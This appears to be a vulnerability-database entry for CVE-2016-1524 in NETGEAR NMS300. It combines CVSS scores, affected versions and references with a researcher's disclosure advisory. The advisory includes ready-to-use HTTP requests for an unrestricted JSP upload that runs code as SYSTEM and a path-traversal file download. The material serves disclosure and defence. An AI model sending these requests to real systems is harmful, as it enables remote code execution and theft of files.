Details of VAR-201602-0192

ID

VAR-201602-0192

CVE

CVE-2016-1524

TITLE

Netgear Management System NMS300 contains arbitrary file upload and path traversal vulnerabilities

Trust: 0.8

sources: CERT/CC: VU#777024

DESCRIPTION

Multiple unrestricted file upload vulnerabilities in NETGEAR Management System NMS300 1.5.0.11 and earlier allow remote attackers to execute arbitrary Java code by using (1) fileUpload.do or (2) lib-1.0/external/flash/fileUpload.do to upload a JSP file, and then accessing it via a direct request for a /null URI. A directory traversal vulnerability enables authenticated users to download arbitrary files. ( Dot dot ) including realName An arbitrary file may be read through the parameter. Supplementary information : CWE Vulnerability type by CWE-434: Unrestricted Upload of File with Dangerous Type ( Unlimited upload of dangerous types of files ) Has been identified. The NetgearManagementSystem NMS300 is a network management system for diagnosing, controlling and optimizing network devices. Netgear Management System NMS300 is prone to a directory-traversal vulnerability and and multiple arbitrary file-upload vulnerabilities. Other attacks are also possible. Netgear Management System NMS300 1.5.0.11 and prior are vulnerable. >> Remote code execution / arbitrary file download in NETGEAR ProSafe Network Management System NMS300 >> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security (http://www.agileinfosec.co.uk/) ========================================================================== Disclosure: 04/02/2016 / Last updated: 04/02/2016 >> Background on the affected product: "NMS300 ProSAFE® Network Management System Diagnose, control, and optimize your network devices. An intuitive, web-based user interface makes it easier to monitor and administer an entire network." >> Summary: Netgear's NMS300 is a network management utility that runs on Windows systems. It has serious two vulnerabilities that can be exploited by a remote attacker. A special thanks to Joel Land of CERT/CC for helping disclose this vulnerability under ID 777024 [1]. Two new Metasploit modules that exploit these vulnerabilities have been released. So for example if [name] = "testing" and [extension] = ".jsp", the final file will be named "nulltesting.jsp". [name] and [extension] can be seen in the sample request below. The code will execute as the SYSTEM user. POST /lib-1.0/external/flash/fileUpload.do HTTP/1.1 Content-Type: multipart/form-data; boundary=----------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3 ------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3 Content-Disposition: form-data; name="name" [name] ------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3 Content-Disposition: form-data; name="Filedata"; filename="whatever.[extension]" Content-Type: application/octet-stream <%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> <title>Hello World Example</title> </head> <body> <h2>A Hello World Example of JSP.</h2> </body> </html> ------------ae0KM7Ef1ei4GI3gL6gL6gL6gL6GI3-- #2 Vulnerability: Arbitrary file download (authenticated) CVE-2016-1524 Affected versions: NMS300 1.5.0.11 NMS300 1.5.0.2 NMS300 1.4.0.17 NMS300 1.1.0.13 Three steps need to be taken in order to exploit this vulnerability: a) Add a configuration image, with the realName parameter containing the path traversal to the target file: POST /data/config/image.do?method=add HTTP/1.1 realName=../../../../../../../../../../<file on C:\>&md5=&fileName=<imagename.img>&version=1337&vendor=Netgear&deviceType=4&deviceModel=FS526Tv2&description=bla b) Obtain the file identifier (imageId) for the image that was created by scraping the page below for "imagename.img" (the fileName parameter in step 1): POST /data/getPage.do?method=getPageList&type=configImgManager everyPage=10000 Sample response: {"page":{"beginIndex":0,"recordCount":7,"totalRecords":7,"currentPage":1,"everyPage":10,"totalPage":1},"list":[{"imageId":"1","fileName":"agga5.img","createTime":"10/03/2015 21:12:36","realFileName":"../../../../../../../../../../log.txt","vendor":"Netgear","deviceType":"4","deviceModel":"FS526Tv2","version":"2323","sizeM":"24491","createBy":"admin","createId":"1","description":"bla\r\n"} c) Download the file with the imageId obtained in step 2: GET /data/config/image.do?method=export&imageId=<ID> >> Fix: No fix is currently available. It is recommended not to expose NMS300 to the Internet or any unstrusted networks. >> References: [1] https://www.kb.cert.org/vuls/id/777024 ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business >>

Trust: 4.14

sources: NVD: CVE-2016-1524 // CERT/CC: VU#777024 // JVNDB: JVNDB-2016-001517 // JVNDB: JVNDB-2016-001708 // CNVD: CNVD-2016-00972 // BID: 82630 // VULHUB: VHN-90343 // VULMON: CVE-2016-1524 // PACKETSTORM: 135618

IOT TAXONOMY

category:

['Network device']

sub_category:

Trust: 0.6

sources: CNVD: CNVD-2016-00972

AFFECTED PRODUCTS

vendor:	net gear	model:	prosafe network management system nms300	scope:	lte	version:	1.5.0.11	Trust: 1.6
vendor:	netgear	model:	prosafe network management software 300	scope:	lte	version:	1.5.0.11	Trust: 1.0
vendor:	netgear	model:	-	scope:	-	version:	-	Trust: 0.8
vendor:	netgear	model:	management system nms300	scope:	lte	version:	<=1.5.0.11	Trust: 0.6
vendor:	netgear	model:	prosafe network management software 300	scope:	eq	version:	1.5.0.11	Trust: 0.6

sources: CERT/CC: VU#777024 // CNVD: CNVD-2016-00972 // JVNDB: JVNDB-2016-001517 // JVNDB: JVNDB-2016-001708 // CNNVD: CNNVD-201602-129 // NVD: CVE-2016-1524

CVSS

SEVERITY

CVSSV2

CVSSV3

NVD:	CVE-2016-1524
value:	HIGH
Trust: 1.6
nvd@nist.gov:	CVE-2016-1524
value:	CRITICAL
Trust: 1.0
CNVD:	CNVD-2016-00972
value:	HIGH
Trust: 0.6
CNNVD:	CNNVD-201602-129
value:	HIGH
Trust: 0.6
VULHUB:	VHN-90343
value:	HIGH
Trust: 0.1
VULMON:	CVE-2016-1524
value:	HIGH
Trust: 0.1

nvd@nist.gov:	CVE-2016-1524
severity:	HIGH
baseScore:	8.3
vectorString:	AV:A/AC:L/AU:N/C:C/I:C/A:C
accessVector:	ADJACENT_NETWORK
accessComplexity:	LOW
authentication:	NONE
confidentialityImpact:	COMPLETE
integrityImpact:	COMPLETE
availabilityImpact:	COMPLETE
exploitabilityScore:	6.5
impactScore:	10.0
acInsufInfo:	NONE
obtainAllPrivilege:	NONE
obtainUserPrivilege:	NONE
obtainOtherPrivilege:	NONE
userInteractionRequired:	NONE
version:	2.0
Trust: 1.9
NVD:	CVE-2016-1524
severity:	HIGH
baseScore:	7.8
vectorString:	AV:N/AC:L/AU:N/C:C/I:N/A:N
accessVector:	NETWORK
accessComplexity:	LOW
authentication:	NONE
confidentialityImpact:	COMPLETE
integrityImpact:	NONE
availabilityImpact:	NONE
exploitabilityScore:	NONE
impactScore:	NONE
acInsufInfo:	NONE
obtainAllPrivilege:	NONE
obtainUserPrivilege:	NONE
obtainOtherPrivilege:	NONE
userInteractionRequired:	NONE
version:	2.0
Trust: 0.8
CNVD:	CNVD-2016-00972
severity:	HIGH
baseScore:	8.3
vectorString:	AV:A/AC:L/AU:N/C:C/I:C/A:C
accessVector:	ADJACENT_NETWORK
accessComplexity:	LOW
authentication:	NONE
confidentialityImpact:	COMPLETE
integrityImpact:	COMPLETE
availabilityImpact:	COMPLETE
exploitabilityScore:	6.5
impactScore:	10.0
acInsufInfo:	NONE
obtainAllPrivilege:	NONE
obtainUserPrivilege:	NONE
obtainOtherPrivilege:	NONE
userInteractionRequired:	NONE
version:	2.0
Trust: 0.6
VULHUB:	VHN-90343
severity:	HIGH
baseScore:	8.3
vectorString:	AV:A/AC:L/AU:N/C:C/I:C/A:C
accessVector:	ADJACENT_NETWORK
accessComplexity:	LOW
authentication:	NONE
confidentialityImpact:	COMPLETE
integrityImpact:	COMPLETE
availabilityImpact:	COMPLETE
exploitabilityScore:	6.5
impactScore:	10.0
acInsufInfo:	NONE
obtainAllPrivilege:	NONE
obtainUserPrivilege:	NONE
obtainOtherPrivilege:	NONE
userInteractionRequired:	NONE
version:	2.0
Trust: 0.1

nvd@nist.gov:	CVE-2016-1524
baseSeverity:	CRITICAL
baseScore:	9.6
vectorString:	CVSS:3.0/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
attackVector:	ADJACENT
attackComplexity:	LOW
privilegesRequired:	NONE
userInteraction:	NONE
scope:	CHANGED
confidentialityImpact:	HIGH
integrityImpact:	HIGH
availabilityImpact:	HIGH
exploitabilityScore:	2.8
impactScore:	6.0
version:	3.0
Trust: 1.0

sources: CNVD: CNVD-2016-00972 // VULHUB: VHN-90343 // VULMON: CVE-2016-1524 // JVNDB: JVNDB-2016-001517 // JVNDB: JVNDB-2016-001708 // CNNVD: CNNVD-201602-129 // NVD: CVE-2016-1524

PROBLEMTYPE DATA

problemtype:	NVD-CWE-Other	Trust: 1.0
problemtype:	CWE-22	Trust: 0.8
problemtype:	CWE-Other	Trust: 0.8

sources: JVNDB: JVNDB-2016-001517 // JVNDB: JVNDB-2016-001708 // NVD: CVE-2016-1524

THREAT TYPE

specific network environment

Trust: 0.6

sources: CNNVD: CNNVD-201602-129

TYPE

lack of information

Trust: 0.6

sources: CNNVD: CNNVD-201602-129

CONFIGURATIONS

sources: JVNDB: JVNDB-2016-001517

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-90343 // VULMON: CVE-2016-1524

PATCH

title:	NETGEAR Download Center - NMS300	url:	http://downloadcenter.netgear.com/en/product/NMS300#searchResults	Trust: 1.6
title:	Patch for NetgearManagementSystemNMS300 arbitrary file upload vulnerability	url:	https://www.cnvd.org.cn/patchInfo/show/71362	Trust: 0.6
title:	The Register	url:	https://www.theregister.co.uk/2016/02/07/no_patches_for_code_exec_holes_in_netgear_management_box/	Trust: 0.2

sources: CNVD: CNVD-2016-00972 // VULMON: CVE-2016-1524 // JVNDB: JVNDB-2016-001517 // JVNDB: JVNDB-2016-001708

EXTERNAL IDS

db:	CERT/CC	id:	VU#777024	Trust: 5.2
db:	NVD	id:	CVE-2016-1524	Trust: 4.4
db:	JVN	id:	JVNVU96743693	Trust: 1.6
db:	PACKETSTORM	id:	135618	Trust: 1.3
db:	EXPLOIT-DB	id:	39412	Trust: 1.2
db:	JVNDB	id:	JVNDB-2016-001517	Trust: 0.8
db:	JVNDB	id:	JVNDB-2016-001708	Trust: 0.8
db:	CNNVD	id:	CNNVD-201602-129	Trust: 0.7
db:	CNVD	id:	CNVD-2016-00972	Trust: 0.6
db:	BID	id:	82630	Trust: 0.3
db:	VULHUB	id:	VHN-90343	Trust: 0.1
db:	VULMON	id:	CVE-2016-1524	Trust: 0.1

sources: CERT/CC: VU#777024 // CNVD: CNVD-2016-00972 // VULHUB: VHN-90343 // VULMON: CVE-2016-1524 // BID: 82630 // JVNDB: JVNDB-2016-001517 // JVNDB: JVNDB-2016-001708 // PACKETSTORM: 135618 // CNNVD: CNNVD-201602-129 // NVD: CVE-2016-1524

REFERENCES

url:	http://www.kb.cert.org/vuls/id/777024	Trust: 4.5
url:	http://seclists.org/fulldisclosure/2016/feb/30	Trust: 4.2
url:	http://downloadcenter.netgear.com/en/product/nms300#	Trust: 1.7
url:	http://jvn.jp/vu/jvnvu96743693/	Trust: 1.6
url:	https://www.exploit-db.com/exploits/39412/	Trust: 1.3
url:	http://www.securityfocus.com/archive/1/537446/100/0/threaded	Trust: 1.2
url:	http://packetstormsecurity.com/files/135618/netgear-pro-nms-300-code-execution-file-download.html	Trust: 1.2
url:	https://cwe.mitre.org/data/definitions/434.html	Trust: 0.8
url:	https://cwe.mitre.org/data/definitions/22.html	Trust: 0.8
url:	http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-1525	Trust: 0.8
url:	http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-1525	Trust: 0.8
url:	http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-1524	Trust: 0.8
url:	http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2016-1524	Trust: 0.8
url:	http://www.netgear.com	Trust: 0.3
url:	https://cwe.mitre.org/data/definitions/.html	Trust: 0.1
url:	https://nvd.nist.gov	Trust: 0.1
url:	https://www.rapid7.com/db/modules/auxiliary/admin/http/netgear_auth_download	Trust: 0.1
url:	https://www.theregister.co.uk/2016/02/07/no_patches_for_code_exec_holes_in_netgear_management_box/	Trust: 0.1
url:	https://nvd.nist.gov/vuln/detail/cve-2016-1525	Trust: 0.1
url:	http://[host]:8080/null[name].[extension].	Trust: 0.1
url:	http://www.w3.org/tr/html4/loose.dtd">	Trust: 0.1
url:	https://nvd.nist.gov/vuln/detail/cve-2016-1524	Trust: 0.1
url:	http://www.agileinfosec.co.uk/)	Trust: 0.1
url:	http://www.agileinfosec.co.uk/	Trust: 0.1

CREDITS

Pedro Ribeiro of Agile Information Security.

Trust: 0.3

sources: BID: 82630

SOURCES

db:	CERT/CC	id:	VU#777024
db:	CNVD	id:	CNVD-2016-00972
db:	VULHUB	id:	VHN-90343
db:	VULMON	id:	CVE-2016-1524
db:	BID	id:	82630
db:	JVNDB	id:	JVNDB-2016-001517
db:	JVNDB	id:	JVNDB-2016-001708
db:	PACKETSTORM	id:	135618
db:	CNNVD	id:	CNNVD-201602-129
db:	NVD	id:	CVE-2016-1524

LAST UPDATE DATE

2024-11-23T22:52:41.712000+00:00

SOURCES UPDATE DATE

db:	CERT/CC	id:	VU#777024	date:	2016-02-04T00:00:00
db:	CNVD	id:	CNVD-2016-00972	date:	2016-02-16T00:00:00
db:	VULHUB	id:	VHN-90343	date:	2018-10-09T00:00:00
db:	VULMON	id:	CVE-2016-1524	date:	2018-10-09T00:00:00
db:	BID	id:	82630	date:	2016-07-05T21:22:00
db:	JVNDB	id:	JVNDB-2016-001517	date:	2016-02-29T00:00:00
db:	JVNDB	id:	JVNDB-2016-001708	date:	2016-03-24T00:00:00
db:	CNNVD	id:	CNNVD-201602-129	date:	2016-03-01T00:00:00
db:	NVD	id:	CVE-2016-1524	date:	2024-11-21T02:46:36.043

SOURCES RELEASE DATE

db:	CERT/CC	id:	VU#777024	date:	2016-02-03T00:00:00
db:	CNVD	id:	CNVD-2016-00972	date:	2016-02-16T00:00:00
db:	VULHUB	id:	VHN-90343	date:	2016-02-13T00:00:00
db:	VULMON	id:	CVE-2016-1524	date:	2016-02-13T00:00:00
db:	BID	id:	82630	date:	2016-02-03T00:00:00
db:	JVNDB	id:	JVNDB-2016-001517	date:	2016-02-29T00:00:00
db:	JVNDB	id:	JVNDB-2016-001708	date:	2016-03-15T00:00:00
db:	PACKETSTORM	id:	135618	date:	2016-02-07T17:10:18
db:	CNNVD	id:	CNNVD-201602-129	date:	2016-02-04T00:00:00
db:	NVD	id:	CVE-2016-1524	date:	2016-02-13T02:59:09.900